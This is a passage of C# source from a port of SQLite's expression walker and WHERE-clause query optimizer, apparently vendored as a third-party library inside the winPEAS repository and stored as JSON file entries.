p.pEList ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExpr( pWalker, ref p.pWhere ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExprList( pWalker, p.pGroupBy ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExpr( pWalker, ref p.pHaving ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExprList( pWalker, p.pOrderBy ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExpr( pWalker, ref p.pLimit ) != 0 ) return WRC_Abort;\n      if ( sqlite3WalkExpr( pWalker, ref p.pOffset ) != 0 ) return WRC_Abort;\n      return WRC_Continue;\n    }\n\n    /*\n    ** Walk the parse trees associated with all subqueries in the\n    ** FROM clause of SELECT statement p.  Do not invoke the select\n    ** callback on p, but do invoke it on each FROM clause subquery\n    ** and on any subqueries further down in the tree.  Return\n    ** WRC_Abort or WRC_Continue;\n    */\n    static int sqlite3WalkSelectFrom( Walker pWalker, Select p )\n    {\n      SrcList pSrc;\n      int i;\n      SrcList_item pItem;\n\n      pSrc = p.pSrc;\n      if ( ALWAYS( pSrc ) )\n      {\n        for ( i = pSrc.nSrc ; i > 0 ; i-- )// pItem++ )\n        {\n          pItem = pSrc.a[pSrc.nSrc - i];\n          if ( sqlite3WalkSelect( pWalker, pItem.pSelect ) != 0 )\n          {\n            return WRC_Abort;\n          }\n        }\n      }\n      return WRC_Continue;\n    }\n\n    /*\n    ** Call sqlite3WalkExpr() for every expression in Select statement p.\n    ** Invoke sqlite3WalkSelect() for subqueries in the FROM clause and\n    ** on the compound select chain, p.pPrior.\n    **\n    ** Return WRC_Continue under normal conditions.  Return WRC_Abort if\n    ** there is an abort request.\n    **\n    ** If the Walker does not have an xSelectCallback() then this routine\n    ** is a no-op returning WRC_Continue.\n    */\n    static int sqlite3WalkSelect( Walker pWalker, Select p )\n    {\n      int rc;\n      if ( p == null || pWalker.xSelectCallback == null ) return WRC_Continue;\n      rc = WRC_Continue;\n      while ( p != null )\n      {\n        rc = pWalker.xSelectCallback( pWalker, p );\n        if ( rc != 0 ) break;\n        if ( sqlite3WalkSelectExpr( pWalker, p ) != 0 ) return WRC_Abort;\n        if ( sqlite3WalkSelectFrom( pWalker, p ) != 0 ) return WRC_Abort;\n        p = p.pPrior;\n      }\n      return rc & WRC_Abort;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/where_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing Bitmask = System.UInt64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This module contains C code that generates VDBE code used to process\n    ** the WHERE clause of SQL statements.  This module is responsible for\n    ** generating the code that loops through a table looking for applicable\n    ** rows.  Indices are selected and used to speed the search when doing\n    ** so is applicable.  Because this module is responsible for selecting\n    ** indices, you might also think of this module as the \"query optimizer\".\n    **\n    ** $Id: where.c,v 1.411 2009/07/31 06:14:52 danielk1977 Exp $\n    **\n    *************************************************************************\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Trace output macros\n    */\n#if  (SQLITE_TEST) && (SQLITE_DEBUG)\n    static bool sqlite3WhereTrace = false;\n#endif\n#if  (SQLITE_TEST) && (SQLITE_DEBUG) && TRACE\n    //# define WHERETRACE(X)  if(sqlite3WhereTrace) sqlite3DebugPrintf X\n    static void WHERETRACE( string X, params object[] ap ) { if ( sqlite3WhereTrace ) sqlite3DebugPrintf( X, ap ); }\n#else\n//# define WHERETRACE(X)\nstatic void WHERETRACE( string X, params object[] ap ) { }\n#endif\n\n    /* Forward reference\n*/\n    //typedef struct WhereClause WhereClause;\n    //typedef struct WhereMaskSet WhereMaskSet;\n    //typedef struct WhereOrInfo WhereOrInfo;\n    //typedef struct WhereAndInfo WhereAndInfo;\n    //typedef struct WhereCost WhereCost;\n\n    /*\n    ** The query generator uses an array of instances of this structure to\n    ** help it analyze the subexpressions of the WHERE clause.  Each WHERE\n    ** clause subexpression is separated from the others by AND operators,\n    ** usually, or sometimes subexpressions separated by OR.\n    **\n    ** All WhereTerms are collected into a single WhereClause structure.\n    ** The following identity holds:\n    **\n    **        WhereTerm.pWC.a[WhereTerm.idx] == WhereTerm\n    **\n    ** When a term is of the form:\n    **\n    **              X <op> <expr>\n    **\n    ** where X is a column name and <op> is one of certain operators,\n    ** then WhereTerm.leftCursor and WhereTerm.u.leftColumn record the\n    ** cursor number and column number for X.  WhereTerm.eOperator records\n    ** the <op> using a bitmask encoding defined by WO_xxx below.  The\n    ** use of a bitmask encoding for the operator allows us to search\n    ** quickly for terms that match any of several different operators.\n    **\n    ** A WhereTerm might also be two or more subterms connected by OR:\n    **\n    **         (t1.X <op> <expr>) OR (t1.Y <op> <expr>) OR ....\n    **\n    ** In this second case, wtFlag as the TERM_ORINFO set and eOperator==WO_OR\n    ** and the WhereTerm.u.pOrInfo field points to auxiliary information that\n    ** is collected about the\n    **\n    ** If a term in the WHERE clause does not match either of the two previous\n    ** categories, then eOperator==0.  The WhereTerm.pExpr field is still set\n    ** to the original subexpression content and wtFlags is set up appropriately\n    ** but no other fields in the WhereTerm object are meaningful.\n    **\n    ** When eOperator!=0, prereqRight and prereqAll record sets of cursor numbers,\n    ** but they do so indirectly.  A single WhereMaskSet structure translates\n    ** cursor number into bits and the translated bit is stored in the prereq\n    ** fields.  The translation is used in order to maximize the number of\n    ** bits that will fit in a Bitmask.  The VDBE cursor numbers might be\n    ** spread out over the non-negative integers.  For example, the cursor\n    ** numbers might be 3, 8, 9, 10, 20, 23, 41, and 45.  The WhereMaskSet\n    ** translates these sparse cursor numbers into consecutive integers\n    ** beginning with 0 in order to make the best possible use of the available\n    ** bits in the Bitmask.  So, in the example above, the cursor numbers\n    ** would be mapped into integers 0 through 7.\n    **\n    ** The number of terms in a join is limited by the number of bits\n    ** in prereqRight and prereqAll.  The default is 64 bits, hence SQLite\n    ** is only able to process joins with 64 or fewer tables.\n    */\n    //typedef struct WhereTerm WhereTerm;\n    public class WhereTerm\n    {\n      public Expr pExpr;              /* Pointer to the subexpression that is this term */\n      public int iParent;             /* Disable pWC.a[iParent] when this term disabled */\n      public int leftCursor;          /* Cursor number of X in \"X <op> <expr>\" */\n      public class _u\n      {\n        public int leftColumn;        /* Column number of X in \"X <op> <expr>\" */\n        public WhereOrInfo pOrInfo;   /* Extra information if eOperator==WO_OR */\n        public WhereAndInfo pAndInfo; /* Extra information if eOperator==WO_AND */\n      }\n      public _u u = new _u();\n      public u16 eOperator;          /* A WO_xx value describing <op> */\n      public u8 wtFlags;             /* TERM_xxx bit flags.  See below */\n      public u8 nChild;              /* Number of children that must disable us */\n      public WhereClause pWC;        /* The clause this term is part of */\n      public Bitmask prereqRight;    /* Bitmask of tables used by pExpr.pRight */\n      public Bitmask prereqAll;      /* Bitmask of tables referenced by pExpr */\n    };\n\n    /*\n    ** Allowed values of WhereTerm.wtFlags\n    */\n    //#define TERM_DYNAMIC    0x01   /* Need to call sqlite3ExprDelete(db, ref pExpr) */\n    //#define TERM_VIRTUAL    0x02   /* Added by the optimizer.  Do not code */\n    //#define TERM_CODED      0x04   /* This term is already coded */\n    //#define TERM_COPIED     0x08   /* Has a child */\n    //#define TERM_ORINFO     0x10   /* Need to free the WhereTerm.u.pOrInfo object */\n    //#define TERM_ANDINFO    0x20   /* Need to free the WhereTerm.u.pAndInfo obj */\n    //#define TERM_OR_OK      0x40   /* Used during OR-clause processing */\n    const int TERM_DYNAMIC = 0x01; /* Need to call sqlite3ExprDelete(db, ref pExpr) */\n    const int TERM_VIRTUAL = 0x02; /* Added by the optimizer.  Do not code */\n    const int TERM_CODED = 0x04; /* This term is already coded */\n    const int TERM_COPIED = 0x08; /* Has a child */\n    const int TERM_ORINFO = 0x10; /* Need to free the WhereTerm.u.pOrInfo object */\n    const int TERM_ANDINFO = 0x20; /* Need to free the WhereTerm.u.pAndInfo obj */\n    const int TERM_OR_OK = 0x40; /* Used during OR-clause processing */\n    /*\n    ** An instance of the following structure holds all information about a\n    ** WHERE clause.  Mostly this is a container for one or more WhereTerms.\n    */\n    public class WhereClause\n    {\n      public Parse pParse;                              /* The parser context */\n      public WhereMaskSet pMaskSet;                     /* Mapping of table cursor numbers to bitmasks */\n      public Bitmask vmask;                             /* Bitmask identifying virtual table cursors */\n      public u8 op;                                     /* Split operator.  TK_AND or TK_OR */\n      public int nTerm;                                 /* Number of terms */\n      public int nSlot;                                 /* Number of entries in a[] */\n      public WhereTerm[] a;                             /* Each a[] describes a term of the WHERE cluase */\n#if (SQLITE_SMALL_STACK)\npublic WhereTerm[] aStatic = new WhereTerm[1];    /* Initial static space for a[] */\n#else\n      public WhereTerm[] aStatic = new WhereTerm[8];    /* Initial static space for a[] */\n#endif\n\n      public void CopyTo( WhereClause wc )\n      {\n        wc.pParse = this.pParse;\n        wc.pMaskSet = new WhereMaskSet();\n        this.pMaskSet.CopyTo( wc.pMaskSet );\n        wc.op = this.op;\n        wc.nTerm = this.nTerm;\n        wc.nSlot = this.nSlot;\n        wc.a = (WhereTerm[])this.a.Clone();\n        wc.aStatic = (WhereTerm[])this.aStatic.Clone();\n      }\n    };\n\n    /*\n    ** A WhereTerm with eOperator==WO_OR has its u.pOrInfo pointer set to\n    ** a dynamically allocated instance of the following structure.\n    */\n    public class WhereOrInfo\n    {\n      public WhereClause wc = new WhereClause();/* Decomposition into subterms */\n      public Bitmask indexable;                 /* Bitmask of all indexable tables in the clause */\n    };\n\n    /*\n    ** A WhereTerm with eOperator==WO_AND has its u.pAndInfo pointer set to\n    ** a dynamically allocated instance of the following structure.\n    */\n    public class WhereAndInfo\n    {\n      public WhereClause wc = new WhereClause();          /* The subexpression broken out */\n    };\n\n    /*\n    ** An instance of the following structure keeps track of a mapping\n    ** between VDBE cursor numbers and bits of the bitmasks in WhereTerm.\n    **\n    ** The VDBE cursor numbers are small integers contained in\n    ** SrcList_item.iCursor and Expr.iTable fields.  For any given WHERE\n    ** clause, the cursor numbers might not begin with 0 and they might\n    ** contain gaps in the numbering sequence.  But we want to make maximum\n    ** use of the bits in our bitmasks.  This structure provides a mapping\n    ** from the sparse cursor numbers into consecutive integers beginning\n    ** with 0.\n    **\n    ** If WhereMaskSet.ix[A]==B it means that The A-th bit of a Bitmask\n    ** corresponds VDBE cursor number B.  The A-th bit of a bitmask is 1<<A.\n    **\n    ** For example, if the WHERE clause expression used these VDBE\n    ** cursors:  4, 5, 8, 29, 57, 73.  Then the  WhereMaskSet structure\n    ** would map those cursor numbers into bits 0 through 5.\n    **\n    ** Note that the mapping is not necessarily ordered.  In the example\n    ** above, the mapping might go like this:  4.3, 5.1, 8.2, 29.0,\n    ** 57.5, 73.4.  Or one of 719 other combinations might be used. It\n    ** does not really matter.  What is important is that sparse cursor\n    ** numbers all get mapped into bit numbers that begin with 0 and contain\n    ** no gaps.\n    */\n    public class WhereMaskSet\n    {\n      public int n;                        /* Number of Debug.Assigned cursor values */\n      public int[] ix = new int[BMS];       /* Cursor Debug.Assigned to each bit */\n\n      public void CopyTo( WhereMaskSet wms )\n      {\n        wms.n = this.n;\n        wms.ix = (int[])this.ix.Clone();\n      }\n    }\n\n    /*\n    ** A WhereCost object records a lookup strategy and the estimated\n    ** cost of pursuing that strategy.\n    */\n    public class WhereCost\n    {\n      public WherePlan plan = new WherePlan();/* The lookup strategy */\n      public double rCost;                    /* Overall cost of pursuing this search strategy */\n      public double nRow;                     /* Estimated number of output rows */\n    };\n\n    /*\n    ** Bitmasks for the operators that indices are able to exploit.  An\n    ** OR-ed combination of these values can be used when searching for\n    ** terms in the where clause.\n    */\n    //#define WO_IN     0x001\n    //#define WO_EQ     0x002\n    //#define WO_LT     (WO_EQ<<(TK_LT-TK_EQ))\n    //#define WO_LE     (WO_EQ<<(TK_LE-TK_EQ))\n    //#define WO_GT     (WO_EQ<<(TK_GT-TK_EQ))\n    //#define WO_GE     (WO_EQ<<(TK_GE-TK_EQ))\n    //#define WO_MATCH  0x040\n    //#define WO_ISNULL 0x080\n    //#define WO_OR     0x100       /* Two or more OR-connected terms */\n    //#define WO_AND    0x200       /* Two or more AND-connected terms */\n\n    //#define WO_ALL    0xfff       /* Mask of all possible WO_* values */\n    //#define WO_SINGLE 0x0ff       /* Mask of all non-compound WO_* values */\n    const int WO_IN = 0x001;\n    const int WO_EQ = 0x002;\n    const int WO_LT = ( WO_EQ << ( TK_LT - TK_EQ ) );\n    const int WO_LE = ( WO_EQ << ( TK_LE - TK_EQ ) );\n    const int WO_GT = ( WO_EQ << ( TK_GT - TK_EQ ) );\n    const int WO_GE = ( WO_EQ << ( TK_GE - TK_EQ ) );\n    const int WO_MATCH = 0x040;\n    const int WO_ISNULL = 0x080;\n    const int WO_OR = 0x100;       /* Two or more OR-connected terms */\n    const int WO_AND = 0x200;       /* Two or more AND-connected terms */\n\n    const int WO_ALL = 0xfff;       /* Mask of all possible WO_* values */\n    const int WO_SINGLE = 0x0ff;       /* Mask of all non-compound WO_* values */\n    /*\n    ** Value for wsFlags returned by bestIndex() and stored in\n    ** WhereLevel.wsFlags.  These flags determine which search\n    ** strategies are appropriate.\n    **\n    ** The least significant 12 bits is reserved as a mask for WO_ values above.\n    ** The WhereLevel.wsFlags field is usually set to WO_IN|WO_EQ|WO_ISNULL.\n    ** But if the table is the right table of a left join, WhereLevel.wsFlags\n    ** is set to WO_IN|WO_EQ.  The WhereLevel.wsFlags field can then be used as\n    ** the \"op\" parameter to findTerm when we are resolving equality constraints.\n    ** ISNULL constraints will then not be used on the right table of a left\n    ** join.  Tickets #2177 and #2189.\n    */\n    //#define WHERE_ROWID_EQ     0x00001000  /* rowid=EXPR or rowid IN (...) */\n    //#define WHERE_ROWID_RANGE  0x00002000  /* rowid<EXPR and/or rowid>EXPR */\n    //#define WHERE_COLUMN_EQ    0x00010000  /* x=EXPR or x IN (...) or x IS NULL */\n    //#define WHERE_COLUMN_RANGE 0x00020000  /* x<EXPR and/or x>EXPR */\n    //#define WHERE_COLUMN_IN    0x00040000  /* x IN (...) */\n    //#define WHERE_COLUMN_NULL  0x00080000  /* x IS NULL */\n    //#define WHERE_INDEXED      0x000f0000  /* Anything that uses an index */\n    //#define WHERE_IN_ABLE      0x000f1000  /* Able to support an IN operator */\n    //#define WHERE_TOP_LIMIT    0x00100000  /* x<EXPR or x<=EXPR constraint */\n    //#define WHERE_BTM_LIMIT    0x00200000  /* x>EXPR or x>=EXPR constraint */\n    //#define WHERE_IDX_ONLY     0x00800000  /* Use index only - omit table */\n    //#define WHERE_ORDERBY      0x01000000  /* Output will appear in correct order */\n    //#define WHERE_REVERSE      0x02000000  /* Scan in reverse order */\n    //#define WHERE_UNIQUE       0x04000000  /* Selects no more than one row */\n    //#define WHERE_VIRTUALTABLE 0x08000000  /* Use virtual-table processing */\n    //#define WHERE_MULTI_OR     0x10000000  /* OR using multiple indices */\n    const int WHERE_ROWID_EQ = 0x00001000; /* rowid=EXPR or rowid IN (...) */\n    const int WHERE_ROWID_RANGE = 0x00002000; /* rowid<EXPR and/or rowid>EXPR */\n    const int WHERE_COLUMN_EQ = 0x00010000; /* x=EXPR or x IN (...) */\n    const int WHERE_COLUMN_RANGE = 0x00020000; /* x<EXPR and/or x>EXPR */\n    const int WHERE_COLUMN_IN = 0x00040000; /* x IN (...) */\n    const int WHERE_COLUMN_NULL = 0x00080000; /* x IS NULL */\n    const int WHERE_INDEXED = 0x000f0000; /* Anything that uses an index */\n    const int WHERE_IN_ABLE = 0x000f1000; /* Able to support an IN operator */\n    const int WHERE_TOP_LIMIT = 0x00100000; /* x<EXPR or x<=EXPR constraint */\n    const int WHERE_BTM_LIMIT = 0x00200000; /* x>EXPR or x>=EXPR constraint */\n    const int WHERE_IDX_ONLY = 0x00800000; /* Use index only - omit table */\n    const int WHERE_ORDERBY = 0x01000000; /* Output will appear in correct order */\n    const int WHERE_REVERSE = 0x02000000; /* Scan in reverse order */\n    const int WHERE_UNIQUE = 0x04000000; /* Selects no more than one row */\n    const int WHERE_VIRTUALTABLE = 0x08000000; /* Use virtual-table processing */\n    const int WHERE_MULTI_OR = 0x10000000; /* OR using multiple indices */\n\n    /*\n    ** Initialize a preallocated WhereClause structure.\n    */\n    static void whereClauseInit(\n    WhereClause pWC,        /* The WhereClause to be initialized */\n    Parse pParse,           /* The parsing context */\n    WhereMaskSet pMaskSet   /* Mapping from table cursor numbers to bitmasks */\n    )\n    {\n      pWC.pParse = pParse;\n      pWC.pMaskSet = pMaskSet;\n      pWC.nTerm = 0;\n      pWC.nSlot = ArraySize( pWC.aStatic ) - 1;\n      pWC.a = pWC.aStatic;\n      pWC.vmask = 0;\n    }\n\n    /* Forward reference */\n    //static void whereClauseClear(WhereClause);\n\n    /*\n    ** Deallocate all memory Debug.Associated with a WhereOrInfo object.\n    */\n    static void whereOrInfoDelete( sqlite3 db, WhereOrInfo p )\n    {\n      whereClauseClear( p.wc );\n      //sqlite3DbFree( db, p );\n    }\n\n    /*\n    ** Deallocate all memory Debug.Associated with a WhereAndInfo object.\n    */\n    static void whereAndInfoDelete( sqlite3 db, WhereAndInfo p )\n    {\n      whereClauseClear( p.wc );\n      //sqlite3DbFree( db, p );\n    }\n\n    /*\n    ** Deallocate a WhereClause structure.  The WhereClause structure\n    ** itself is not freed.  This routine is the inverse of whereClauseInit().\n    */\n    static void whereClauseClear( WhereClause pWC )\n    {\n      int i;\n      WhereTerm a;\n      sqlite3 db = pWC.pParse.db;\n      for ( i = pWC.nTerm - 1 ; i >= 0 ; i-- )//, a++)\n      {\n        a = pWC.a[i];\n        if ( ( a.wtFlags & TERM_DYNAMIC ) != 0 )\n        {\n          sqlite3ExprDelete( db, ref a.pExpr );\n        }\n        if ( ( a.wtFlags & TERM_ORINFO ) != 0 )\n        {\n          whereOrInfoDelete( db, a.u.pOrInfo );\n        }\n        else if ( ( a.wtFlags & TERM_ANDINFO ) != 0 )\n        {\n          whereAndInfoDelete( db, a.u.pAndInfo );\n        }\n      }\n      if ( pWC.a != pWC.aStatic )\n      {\n        //sqlite3DbFree( db, ref pWC.a );\n      }\n    }\n\n    /*\n    ** Add a single new WhereTerm entry to the WhereClause object pWC.\n    ** The new WhereTerm object is constructed from Expr p and with wtFlags.\n    ** The index in pWC.a[] of the new WhereTerm is returned on success.\n    ** 0 is returned if the new WhereTerm could not be added due to a memory\n    ** allocation error.  The memory allocation failure will be recorded in\n    ** the db.mallocFailed flag so that higher-level functions can detect it.\n    **\n    ** This routine will increase the size of the pWC.a[] array as necessary.\n    **\n    ** If the wtFlags argument includes TERM_DYNAMIC, then responsibility\n    ** for freeing the expression p is Debug.Assumed by the WhereClause object pWC.\n    ** This is true even if this routine fails to allocate a new WhereTerm.\n    **\n    ** WARNING:  This routine might reallocate the space used to store\n    ** WhereTerms.  All pointers to WhereTerms should be invalidated after\n    ** calling this routine.  Such pointers may be reinitialized by referencing\n    ** the pWC.a[] array.\n    */\n    static int whereClauseInsert( WhereClause pWC, Expr p, u8 wtFlags )\n    {\n      WhereTerm pTerm;\n      int idx;\n      if ( pWC.nTerm >= pWC.nSlot )\n      {\n        //WhereTerm pOld = pWC.a;\n        sqlite3 db = pWC.pParse.db;\n        Array.Resize( ref pWC.a, pWC.nSlot * 2 );\n        //pWC.a = sqlite3DbMallocRaw(db, sizeof(pWC.a[0])*pWC.nSlot*2 );\n        //if( pWC.a==null ){\n        //  if( wtFlags & TERM_DYNAMIC ){\n        //    sqlite3ExprDelete(db, ref p);\n        //  }\n        //  pWC.a = pOld;\n        //  return 0;\n        //}\n        //memcpy(pWC.a, pOld, sizeof(pWC.a[0])*pWC.nTerm);\n        //if( pOld!=pWC.aStatic ){\n        //  //sqlite3DbFree(db, pOld);\n        //}\n        //pWC.nSlot = sqlite3DbMallocSize(db, pWC.a)/sizeof(pWC.a[0]);\n        pWC.nSlot = pWC.a.Length - 1;\n      }\n      pWC.a[idx = pWC.nTerm++] = new WhereTerm();\n      pTerm = pWC.a[idx];\n      pTerm.pExpr = p;\n      pTerm.wtFlags = wtFlags;\n      pTerm.pWC = pWC;\n      pTerm.iParent = -1;\n      return idx;\n    }\n\n    /*\n    ** This routine identifies subexpressions in the WHERE clause where\n    ** each subexpression is separated by the AND operator or some other\n    ** operator specified in the op parameter.  The WhereClause structure\n    ** is filled with pointers to subexpressions.  For example:\n    **\n    **    WHERE  a=='hello' AND coalesce(b,11)<10 AND (c+12!=d OR c==22)\n    **           \\________/     \\_______________/     \\________________/\n    **            slot[0]            slot[1]               slot[2]\n    **\n    ** The original WHERE clause in pExpr is unaltered.  All this routine\n    ** does is make slot[] entries point to substructure within pExpr.\n    **\n    ** In the previous sentence and in the diagram, \"slot[]\" refers to\n    ** the WhereClause.a[] array.  The slot[] array grows as needed to contain\n    ** all terms of the WHERE clause.\n    */\n    static void whereSplit( WhereClause pWC, Expr pExpr, int op )\n    {\n      pWC.op = (u8)op;\n      if ( pExpr == null ) return;\n      if ( pExpr.op != op )\n      {\n        whereClauseInsert( pWC, pExpr, 0 );\n      }\n      else\n      {\n        whereSplit( pWC, pExpr.pLeft, op );\n        whereSplit( pWC, pExpr.pRight, op );\n      }\n    }\n\n    /*\n    ** Initialize an expression mask set (a WhereMaskSet object)\n    */\n    //#define initMaskSet(P)  memset(P, 0, sizeof(*P))\n\n    /*\n    ** Return the bitmask for the given cursor number.  Return 0 if\n    ** iCursor is not in the set.\n    */\n    static Bitmask getMask( WhereMaskSet pMaskSet, int iCursor )\n    {\n      int i;\n      Debug.Assert( pMaskSet.n <= sizeof( Bitmask ) * 8 );\n      for ( i = 0 ; i < pMaskSet.n ; i++ )\n      {\n        if ( pMaskSet.ix[i] == iCursor )\n        {\n          return ( (Bitmask)1 ) << i;\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** Create a new mask for cursor iCursor.\n    **\n    ** There is one cursor per table in the FROM clause.  The number of\n    ** tables in the FROM clause is limited by a test early in the\n    ** sqlite3WhereBegin() routine.  So we know that the pMaskSet.ix[]\n    ** array will never overflow.\n    */\n    static void createMask( WhereMaskSet pMaskSet, int iCursor )\n    {\n      Debug.Assert( pMaskSet.n < ArraySize( pMaskSet.ix ) );\n      pMaskSet.ix[pMaskSet.n++] = iCursor;\n    }\n\n    /*\n    ** This routine walks (recursively) an expression tree and generates\n    ** a bitmask indicating which tables are used in that expression\n    ** tree.\n    **\n    ** In order for this routine to work, the calling function must have\n    ** previously invoked sqlite3ResolveExprNames() on the expression.  See\n    ** the header comment on that routine for additional information.\n    ** The sqlite3ResolveExprNames() routines looks for column names and\n    ** sets their opcodes to TK_COLUMN and their Expr.iTable fields to\n    ** the VDBE cursor number of the table.  This routine just has to\n    ** translate the cursor numbers into bitmask values and OR all\n    ** the bitmasks together.\n    */\n    //static Bitmask exprListTableUsage(WhereMaskSet*, ExprList);\n    //static Bitmask exprSelectTableUsage(WhereMaskSet*, Select);\n    static Bitmask exprTableUsage( WhereMaskSet pMaskSet, Expr p )\n    {\n      Bitmask mask = 0;\n      if ( p == null ) return 0;\n      if ( p.op == TK_COLUMN )\n      {\n        mask = getMask( pMaskSet, p.iTable );\n        return mask;\n      }\n      mask = exprTableUsage( pMaskSet, p.pRight );\n      mask |= exprTableUsage( pMaskSet, p.pLeft );\n      if ( ExprHasProperty( p, EP_xIsSelect ) )\n      {\n        mask |= exprSelectTableUsage( pMaskSet, p.x.pSelect );\n      }\n      else\n      {\n        mask |= exprListTableUsage( pMaskSet, p.x.pList );\n      }\n      return mask;\n    }\n    static Bitmask exprListTableUsage( WhereMaskSet pMaskSet, ExprList pList )\n    {\n      int i;\n      Bitmask mask = 0;\n      if ( pList != null )\n      {\n        for ( i = 0 ; i < pList.nExpr ; i++ )\n        {\n          mask |= exprTableUsage( pMaskSet, pList.a[i].pExpr );\n        }\n      }\n      return mask;\n    }\n    static Bitmask exprSelectTableUsage( WhereMaskSet pMaskSet, Select pS )\n    {\n      Bitmask mask = 0;\n      while ( pS != null )\n      {\n        mask |= exprListTableUsage( pMaskSet, pS.pEList );\n        mask |= exprListTableUsage( pMaskSet, pS.pGroupBy );\n        mask |= exprListTableUsage( pMaskSet, pS.pOrderBy );\n        mask |= exprTableUsage( pMaskSet, pS.pWhere );\n        mask |= exprTableUsage( pMaskSet, pS.pHaving );\n        pS = pS.pPrior;\n      }\n      return mask;\n    }\n\n    /*\n    ** Return TRUE if the given operator is one of the operators that is\n    ** allowed for an indexable WHERE clause term.  The allowed operators are\n    ** \"=\", \"<\", \">\", \"<=\", \">=\", and \"IN\".\n    */\n    static bool allowedOp( int op )\n    {\n      Debug.Assert( TK_GT > TK_EQ && TK_GT < TK_GE );\n      Debug.Assert( TK_LT > TK_EQ && TK_LT < TK_GE );\n      Debug.Assert( TK_LE > TK_EQ && TK_LE < TK_GE );\n      Debug.Assert( TK_GE == TK_EQ + 4 );\n      return op == TK_IN || ( op >= TK_EQ && op <= TK_GE ) || op == TK_ISNULL;\n    }\n\n    /*\n    ** Swap two objects of type TYPE.\n    */\n    //#define SWAP(TYPE,A,B) {TYPE t=A; A=B; B=t;}\n\n    /*\n    ** Commute a comparison operator.  Expressions of the form \"X op Y\"\n    ** are converted into \"Y op X\".\n    **\n    ** If a collation sequence is Debug.Associated with either the left or right\n    ** side of the comparison, it remains Debug.Associated with the same side after\n    ** the commutation. So \"Y collate NOCASE op X\" becomes\n    ** \"X collate NOCASE op Y\". This is because any collation sequence on\n    ** the left hand side of a comparison overrides any collation sequence\n    ** attached to the right. For the same reason the EP_ExpCollate flag\n    ** is not commuted.\n    */\n    static void exprCommute( Parse pParse, Expr pExpr )\n    {\n      u16 expRight = (u16)( pExpr.pRight.flags & EP_ExpCollate );\n      u16 expLeft = (u16)( pExpr.pLeft.flags & EP_ExpCollate );\n      Debug.Assert( allowedOp( pExpr.op ) && pExpr.op != TK_IN );\n      pExpr.pRight.pColl = sqlite3ExprCollSeq( pParse, pExpr.pRight );\n      pExpr.pLeft.pColl = sqlite3ExprCollSeq( pParse, pExpr.pLeft );\n      SWAP( ref pExpr.pRight.pColl, ref pExpr.pLeft.pColl );\n      pExpr.pRight.flags = (u16)( ( pExpr.pRight.flags & ~EP_ExpCollate ) | expLeft );\n      pExpr.pLeft.flags = (u16)( ( pExpr.pLeft.flags & ~EP_ExpCollate ) | expRight );\n      SWAP( ref pExpr.pRight, ref pExpr.pLeft );\n      if ( pExpr.op >= TK_GT )\n      {\n        Debug.Assert( TK_LT == TK_GT + 2 );\n        Debug.Assert( TK_GE == TK_LE + 2 );\n        Debug.Assert( TK_GT > TK_EQ );\n        Debug.Assert( TK_GT < TK_LE );\n        Debug.Assert( pExpr.op >= TK_GT && pExpr.op <= TK_GE );\n        pExpr.op = (u8)( ( ( pExpr.op - TK_GT ) ^ 2 ) + TK_GT );\n      }\n    }\n\n    /*\n    ** Translate from TK_xx operator to WO_xx bitmask.\n    */\n    static u16 operatorMask( int op )\n    {\n      u16 c;\n      Debug.Assert( allowedOp( op ) );\n      if ( op == TK_IN )\n      {\n        c = WO_IN;\n      }\n      else if ( op == TK_ISNULL )\n      {\n        c = WO_ISNULL;\n      }\n      else\n      {\n        Debug.Assert( ( WO_EQ << ( op - TK_EQ ) ) < 0x7fff );\n        c = (u16)( WO_EQ << ( op - TK_EQ ) );\n      }\n      Debug.Assert( op != TK_ISNULL || c == WO_ISNULL );\n      Debug.Assert( op != TK_IN || c == WO_IN );\n      Debug.Assert( op != TK_EQ || c == WO_EQ );\n      Debug.Assert( op != TK_LT || c == WO_LT );\n      Debug.Assert( op != TK_LE || c == WO_LE );\n      Debug.Assert( op != TK_GT || c == WO_GT );\n      Debug.Assert( op != TK_GE || c == WO_GE );\n      return c;\n    }\n\n    /*\n    ** Search for a term in the WHERE clause that is of the form \"X <op> <expr>\"\n    ** where X is a reference to the iColumn of table iCur and <op> is one of\n    ** the WO_xx operator codes specified by the op parameter.\n    ** Return a pointer to the term.  Return 0 if not found.\n    */\n    static WhereTerm findTerm(\n    WhereClause pWC,     /* The WHERE clause to be searched */\n    int iCur,             /* Cursor number of LHS */\n    int iColumn,          /* Column number of LHS */\n    Bitmask notReady,     /* RHS must not overlap with this mask */\n    u32 op,               /* Mask of WO_xx values describing operator */\n    Index pIdx           /* Must be compatible with this index, if not NULL */\n    )\n    {\n      WhereTerm pTerm;\n      int k;\n      Debug.Assert( iCur >= 0 );\n      op &= WO_ALL;\n      for ( k = pWC.nTerm ; k != 0 ; k-- )//, pTerm++)\n      {\n        pTerm = pWC.a[pWC.nTerm - k];\n        if ( pTerm.leftCursor == iCur\n        && ( pTerm.prereqRight & notReady ) == 0\n        && pTerm.u.leftColumn == iColumn\n        && ( pTerm.eOperator & op ) != 0\n        )\n        {\n          if ( pIdx != null && pTerm.eOperator != WO_ISNULL )\n          {\n            Expr pX = pTerm.pExpr;\n            CollSeq pColl;\n            char idxaff;\n            int j;\n            Parse pParse = pWC.pParse;\n\n            idxaff = pIdx.pTable.aCol[iColumn].affinity;\n            if ( !sqlite3IndexAffinityOk( pX, idxaff ) ) continue;\n\n            /* Figure out the collation sequence required from an index for\n            ** it to be useful for optimising expression pX. Store this\n            ** value in variable pColl.\n            */\n            